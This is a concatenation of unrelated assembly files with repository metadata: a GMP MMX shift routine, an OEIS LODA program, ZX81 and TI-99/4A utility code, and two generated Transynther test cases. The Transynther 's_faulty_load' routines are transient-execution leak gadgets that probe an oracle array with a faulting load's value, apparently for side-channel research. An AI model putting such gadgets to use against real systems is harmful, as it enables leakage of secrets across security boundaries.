negl %eax
addl $64, %ecx
andl $UNROLL_MASK, %eax
decl %ebx
shll %eax
movd %ecx, %mm7 C lshift = 64-rshift
ifdef(`PIC',`
call L(pic_calc)
L(here):
',`
leal L(entry) (%eax,%eax,4), %esi
negl %eax
')
shrl $UNROLL_LOG2, %ebx C loop counter
leal ifelse(UNROLL_BYTES,256,128+) 8(%edx,%eax,2), %edx
leal ifelse(UNROLL_BYTES,256,128) (%edi,%eax,2), %edi
movl PARAM_SIZE, %eax C for use at end
jmp *%esi
ifdef(`PIC',`
L(pic_calc):
C See README.family about old gas bugs
leal (%eax,%eax,4), %esi
addl $L(entry)-L(here), %esi
addl (%esp), %esi
negl %eax
ret
')
C -----------------------------------------------------------------------------
ALIGN(64)
L(top):
C eax size, for use at end
C ebx loop counter
C ecx lshift
C edx src
C esi was computed jump
C edi dst
C ebp
C
C mm0 scratch
C mm1 \ carry (alternating)
C mm2 /
C mm6 rshift
C mm7 lshift
C
C 10 code bytes/limb
C
C The two chunks differ in whether mm1 or mm2 hold the carry.
C The computed jump puts the initial carry in both mm1 and mm2.
L(entry):
deflit(CHUNK_COUNT, 4)
forloop(i, 0, UNROLL_COUNT/CHUNK_COUNT-1, `
deflit(`disp0', eval(i*CHUNK_COUNT*4 ifelse(UNROLL_BYTES,256,-128)))
deflit(`disp1', eval(disp0 + 8))
movq disp0(%edx), %mm0
psrlq %mm6, %mm2
movq %mm0, %mm1
psllq %mm7, %mm0
por %mm2, %mm0
movq %mm0, disp0(%edi)
movq disp1(%edx), %mm0
psrlq %mm6, %mm1
movq %mm0, %mm2
psllq %mm7, %mm0
por %mm1, %mm0
movq %mm0, disp1(%edi)
')
addl $UNROLL_BYTES, %edx
addl $UNROLL_BYTES, %edi
decl %ebx
jns L(top)
deflit(`disp0', ifelse(UNROLL_BYTES,256,-128))
deflit(`disp1', eval(disp0-0 + 8))
testb $1, %al
psrlq %mm6, %mm2 C wanted rshifted in all cases below
movl SAVE_ESI, %esi
movd %mm5, %eax C return value
movl SAVE_EBX, %ebx
jz L(end_even)
C Size odd, destination was aligned.
C
C source
C edx
C +-------+---------------+--
C | | mm2 |
C +-------+---------------+--
C
C dest edi
C +-------+---------------+---------------+--
C | | | written |
C +-------+---------------+---------------+--
C
C mm6 = shift
C mm7 = ecx = 64-shift
C Size odd, destination was unaligned.
C
C source
C edx
C +-------+---------------+--
C | | mm2 |
C +-------+---------------+--
C
C dest edi
C +---------------+---------------+--
C | | written |
C +---------------+---------------+--
C
C mm6 = shift+32
C mm7 = ecx = 64-(shift+32)
C In both cases there's one extra limb of src to fetch and combine
C with mm2 to make a qword to store, and in the aligned case there's
C a further extra limb of dst to be formed.
movd disp0(%edx), %mm0
movq %mm0, %mm1
psllq %mm7, %mm0
testb $32, %cl
por %mm2, %mm0
psrlq %mm6, %mm1
movq %mm0, disp0(%edi)
jz L(finish_odd_unaligned)
movd %mm1, disp1(%edi)
L(finish_odd_unaligned):
movl SAVE_EDI, %edi
addl $SAVE_SIZE, %esp
emms
ret
L(end_even):
C Size even, destination was aligned.
C
C source
C +---------------+--
C | mm2 |
C +---------------+--
C
C dest edi
C +---------------+---------------+--
C | | mm3 |
C +---------------+---------------+--
C
C mm6 = shift
C mm7 = ecx = 64-shift
C Size even, destination was unaligned.
C
C source
C +---------------+--
C | mm2 |
C +---------------+--
C
C dest edi
C +-------+---------------+--
C | | mm3 |
C +-------+---------------+--
C
C mm6 = shift+32
C mm7 = 64-(shift+32)
C The movd for the unaligned case is the same data as the movq for
C the aligned case, it's just a choice between whether one or two
C limbs should be written.
testb $32, %cl
movd %mm2, disp0(%edi)
jz L(end_even_unaligned)
movq %mm2, disp0(%edi)
L(end_even_unaligned):
movl SAVE_EDI, %edi
addl $SAVE_SIZE, %esp
emms
ret
EPILOGUE()
| 19.947034 | 79 | 0.573553 |
c435395209a574c805b6dd1022e05c4749e793f8 | 523 | asm | Assembly | oeis/097/A097896.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/097/A097896.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/097/A097896.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A097896: Number of compositions of n with either all parts odd or all parts even.
; Submitted by Christian Krause
; 1,2,2,5,5,12,13,29,34,71,89,176,233,441,610,1115,1597,2840,4181,7277,10946,18735,28657,48416,75025,125489,196418,326003,514229,848424,1346269,2211077,3524578,5768423,9227465,15061424,24157817,39350313
lpb $0
sub $0,1
sub $2,$1
add $1,$3
mul $4,2
sub $4,$5
add $4,1
add $4,$2
mov $5,$4
mov $4,$2
mov $2,$3
add $4,$1
add $5,$4
mov $3,$5
lpe
sub $4,$1
add $5,$4
mov $0,$5
add $0,1
| 21.791667 | 202 | 0.661568 |
8a31613477968b8a39c2f9063cf87dde6c82c339 | 5,989 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_974.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_974.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_974.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xeb05, %r12
nop
nop
nop
and %r14, %r14
movb (%r12), %cl
nop
xor %r8, %r8
lea addresses_WC_ht+0x13505, %rsi
lea addresses_WC_ht+0xa9a5, %rdi
nop
nop
nop
cmp %rdx, %rdx
mov $2, %rcx
rep movsw
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x3345, %rcx
nop
nop
sub %r8, %r8
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %r14
nop
nop
sub %rdi, %rdi
lea addresses_normal_ht+0x9095, %r14
nop
nop
nop
nop
nop
sub %r8, %r8
movb (%r14), %dl
cmp %r8, %r8
lea addresses_D_ht+0xb645, %rsi
lea addresses_normal_ht+0x1c4e5, %rdi
nop
dec %r15
mov $66, %rcx
rep movsq
nop
nop
add %r12, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r9
push %rax
push %rdi
push %rdx
// Store
lea addresses_A+0xddaa, %r10
nop
nop
sub $54377, %rax
mov $0x5152535455565758, %rdi
movq %rdi, %xmm5
movups %xmm5, (%r10)
nop
nop
nop
cmp $64429, %r15
// Store
lea addresses_UC+0x6345, %r9
nop
nop
and %rdx, %rdx
mov $0x5152535455565758, %rax
movq %rax, %xmm5
vmovups %ymm5, (%r9)
nop
nop
nop
cmp $48423, %rdx
// Store
lea addresses_WT+0x2345, %rdi
xor %r10, %r10
mov $0x5152535455565758, %rdx
movq %rdx, (%rdi)
nop
sub %rax, %rax
// Faulty Load
lea addresses_normal+0x14b45, %r10
nop
xor $62087, %r9
mov (%r10), %rdx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rax
pop %r9
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_WC_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 4}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 40.194631 | 2,999 | 0.65804 |
ef5dc0dd32cf3b8d89af32dbd249f06fa629b43f | 6,256 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_7_879.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_7_879.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_7_879.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1abb0, %rdi
nop
and %r14, %r14
and $0xffffffffffffffc0, %rdi
vmovntdqa (%rdi), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rbx
nop
nop
nop
nop
and $31563, %rcx
lea addresses_D_ht+0x189f0, %rsi
nop
nop
nop
nop
nop
dec %rbx
mov (%rsi), %r8
nop
nop
nop
add $48751, %rcx
lea addresses_A_ht+0x1a7b0, %rsi
lea addresses_WT_ht+0x154b0, %rdi
nop
nop
nop
nop
nop
cmp $18602, %r14
mov $113, %rcx
rep movsl
and %rsi, %rsi
lea addresses_WT_ht+0x147b0, %rbx
sub %r12, %r12
movups (%rbx), %xmm5
vpextrq $0, %xmm5, %rsi
nop
nop
cmp $40254, %r8
lea addresses_WT_ht+0xc9b0, %r8
nop
nop
nop
nop
and $63688, %r14
movb (%r8), %cl
nop
nop
nop
sub $53556, %r14
lea addresses_WC_ht+0x3170, %rbx
nop
dec %rsi
mov (%rbx), %rdi
nop
nop
nop
nop
nop
inc %r12
lea addresses_normal_ht+0x1d7b0, %r8
nop
nop
nop
sub %r14, %r14
movl $0x61626364, (%r8)
nop
nop
nop
nop
nop
and $52785, %r8
lea addresses_A_ht+0x111b0, %rdi
clflush (%rdi)
cmp $29288, %rcx
mov (%rdi), %rsi
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x14492, %rsi
lea addresses_normal_ht+0xcdb0, %rdi
nop
nop
nop
nop
nop
sub $3906, %r14
mov $50, %rcx
rep movsw
nop
nop
nop
nop
dec %r8
lea addresses_D_ht+0x1e4b0, %rdi
nop
nop
nop
nop
and %r8, %r8
movb (%rdi), %r14b
nop
nop
nop
nop
nop
cmp $22035, %r8
lea addresses_WC_ht+0x53b0, %r8
nop
nop
nop
nop
xor $5990, %r12
movw $0x6162, (%r8)
nop
sub $36516, %r14
lea addresses_D_ht+0x1efb0, %rcx
nop
nop
sub %rdi, %rdi
vmovups (%rcx), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $1, %xmm6, %r14
nop
nop
nop
and $62260, %r12
lea addresses_D_ht+0x7ed0, %rsi
lea addresses_A_ht+0x1a7c0, %rdi
nop
nop
nop
cmp $40075, %r8
mov $0, %rcx
rep movsw
nop
inc %rdi
lea addresses_UC_ht+0x1ce70, %rsi
lea addresses_D_ht+0x183b0, %rdi
nop
nop
xor $30096, %r15
mov $6, %rcx
rep movsq
nop
and $30565, %rcx
lea addresses_normal_ht+0x252e, %r15
nop
nop
nop
cmp $5122, %r12
mov $0x6162636465666768, %r8
movq %r8, %xmm6
vmovups %ymm6, (%r15)
nop
xor $7509, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r9
push %rax
push %rcx
push %rdx
// Store
lea addresses_PSE+0x1dfb0, %r9
add %r11, %r11
movb $0x51, (%r9)
nop
sub %r11, %r11
// Store
lea addresses_WT+0x1ffb0, %rdx
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x5152535455565758, %r12
movq %r12, %xmm3
movups %xmm3, (%rdx)
nop
nop
nop
nop
add %r10, %r10
// Store
mov $0x6d30470000000130, %r9
dec %r10
movw $0x5152, (%r9)
add $18979, %r9
// Load
lea addresses_WC+0x175b0, %r12
nop
nop
sub $29845, %r9
mov (%r12), %rax
dec %r10
// Store
lea addresses_D+0x124e0, %rax
nop
nop
cmp $24217, %rdx
mov $0x5152535455565758, %r10
movq %r10, (%rax)
nop
nop
nop
cmp $43033, %r10
// Store
lea addresses_WT+0x1f4f0, %r9
nop
nop
xor $10709, %r12
movb $0x51, (%r9)
nop
nop
nop
nop
nop
cmp $24016, %r12
// Faulty Load
lea addresses_WT+0x167b0, %rcx
nop
nop
nop
nop
xor $58066, %r12
mov (%rcx), %edx
lea oracles, %r12
and $0xff, %rdx
shlq $12, %rdx
mov (%r12,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %rax
pop %r9
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 5}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 11}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1}}
{'39': 7}
39 39 39 39 39 39 39
*/
| 20.578947 | 152 | 0.645141 |
59b1b2c12a205e7161bb07279f8268781d329adb | 553 | asm | Assembly | libsrc/zx81/zx_break.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/zx81/zx_break.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | null | null | null | libsrc/zx81/zx_break.asm | grancier/z180 | e83f35e36c9b4d1457e40585019430e901c86ed9 | [
"ClArtistic"
] | 1 | 2019-12-03T23:57:48.000Z | 2019-12-03T23:57:48.000Z | ;
; ZX81 libraries
;
; $Id: zx_break.asm,v 1.4 2016/06/26 20:32:08 dom Exp $
;
;----------------------------------------------------------------
;
; Check if the CAPS-SPACE (BREAK) key is being pressed
; ( 1 = pressed; 0 = not pressed )
;
;----------------------------------------------------------------
SECTION code_clib
PUBLIC zx_break
PUBLIC _zx_break
zx_break:
_zx_break:
call $f46 ; BREAK-1
ld hl,0 ; assume break is not pressed
ret c
inc l
ret
| 23.041667 | 65 | 0.403255 |
c137c9f2767d707fd599aaf906d84ed5e4e0c7d6 | 2,337 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_un_/i9-9900K_12_0xa0.log_9_285.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_un_/i9-9900K_12_0xa0.log_9_285.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_un_/i9-9900K_12_0xa0.log_9_285.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r8
push %r9
push %rax
push %rbx
push %rdi
push %rsi
lea addresses_WT_ht+0xdb53, %rbx
nop
nop
nop
nop
cmp %rdi, %rdi
mov $0x6162636465666768, %r11
movq %r11, %xmm1
movups %xmm1, (%rbx)
nop
nop
nop
nop
nop
add $35587, %r11
lea addresses_UC_ht+0xeff3, %rax
nop
nop
nop
inc %r9
movw $0x6162, (%rax)
nop
nop
xor %r9, %r9
lea addresses_A_ht+0xdfc3, %rdi
nop
add %rsi, %rsi
mov $0x6162636465666768, %rbx
movq %rbx, (%rdi)
nop
and %r11, %r11
lea addresses_normal_ht+0x19b23, %rdi
xor %rbx, %rbx
movw $0x6162, (%rdi)
nop
nop
nop
cmp $15523, %rsi
lea addresses_WC_ht+0x1d943, %rbx
nop
nop
nop
nop
nop
sub $18121, %r11
mov (%rbx), %r8w
nop
xor $3254, %rdi
lea addresses_WT_ht+0x110d3, %rdi
nop
nop
nop
xor %r8, %r8
movw $0x6162, (%rdi)
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %rbx
push %rcx
push %rsi
// Faulty Load
lea addresses_D+0xc1f3, %rbx
xor $1243, %rcx
vmovaps (%rbx), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rsi
lea oracles, %r11
and $0xff, %rsi
shlq $12, %rsi
mov (%r11,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %rbx
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_UC_ht', 'AVXalign': True, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 4, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2}}
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}}
{'30': 1, '08': 1, '72': 7}
30 72 08 72 72 72 72 72 72
*/
| 19.974359 | 128 | 0.643132 |
f46c3c013e2a99c044c340189385f68843e9330b | 6,560 | asm | Assembly | dsrlnk.asm | traidna/MUMPS-TI99-4A | b19c5819999a6f204a20f0496a153ba23ee8edf4 | [
"CC0-1.0"
] | null | null | null | dsrlnk.asm | traidna/MUMPS-TI99-4A | b19c5819999a6f204a20f0496a153ba23ee8edf4 | [
"CC0-1.0"
] | null | null | null | dsrlnk.asm | traidna/MUMPS-TI99-4A | b19c5819999a6f204a20f0496a153ba23ee8edf4 | [
"CC0-1.0"
] | null | null | null |
;[ pab opcodes
;open equ 0 ; open opcode
;close equ 1h ; close opcode
;read equ 2h ; read opcode
;write equ 3h ; write opcode
;fwdrew equ 4h ; restore/rewind opcode (fwd/rew)
;status equ 9h ; status op-code
;]
;[ dsr link routine - Written by Paolo Bagnaresi
dsrlnk word dsrlws ; dsrlnk workspace
word dlentr ; entry point
dlentr li r0,0AA00h
movb r0,@haa ; load haa
mov *r14+,r5 ; get pgm type for link
mov r5,@sav8a ; save data following blwp @dsrlnk (8 or >a)
szcb @h20,r15 ; reset equal bit
mov @8356h,r0 ; get ptr to pab
mov r0,r9 ; save ptr
mov r0,@flgptr ; save again pointer to pab+1 for dsrlnk
; data 8
ai r9,0FFF8h ; adjust to flag
bl @vsbr ; read device name length
movb r1,r3 ; copy it
srl r3,8 ; make it lo byter
seto r4 ; init counter
li r2,namsto ; point to buffer
lnkslp inc r0 ; point to next char of name
inc r4 ; incr char counter
ci r4,0007h ; see if length more than 7 chars
jgt lnkerr ; yes, error
c r4,r3 ; end of name?
jeq lnksln ; yes
bl @vsbr ; read curr char
movb r1,*r2+ ; move into buffer
cb r1,@decmal ; is it a period?
jne lnkslp ; no
lnksln mov r4,r4 ; see if 0 length
jeq lnkerr ; yes, error
clr @83D0h
mov r4,@8354h ; save name length for search
mov r4,@savlen ; save it here too
inc r4 ; adjust for period
a r4,@8356h ; point to position after name
mov @8356h,@savpab ; save pointer to position after name
srom lwpi 83E0h ; use gplws
clr r1 ; version found of dsr
li r12,0F00h ; init cru addr
norom mov r12,r12 ; anything to turn off?
jeq nooff ; no
sbz 0 ; yes, turn off
nooff ai r12,0100h ; next rom to turn on
clr @83D0h ; clear in case we are done
ci r12,2000h ; see if done
jeq nodsr ; yes, no dsr match
mov r12,@83D0h ; save addr of next cru
sbo 0 ; turn on rom
li r2,4000h ; start at beginning of rom
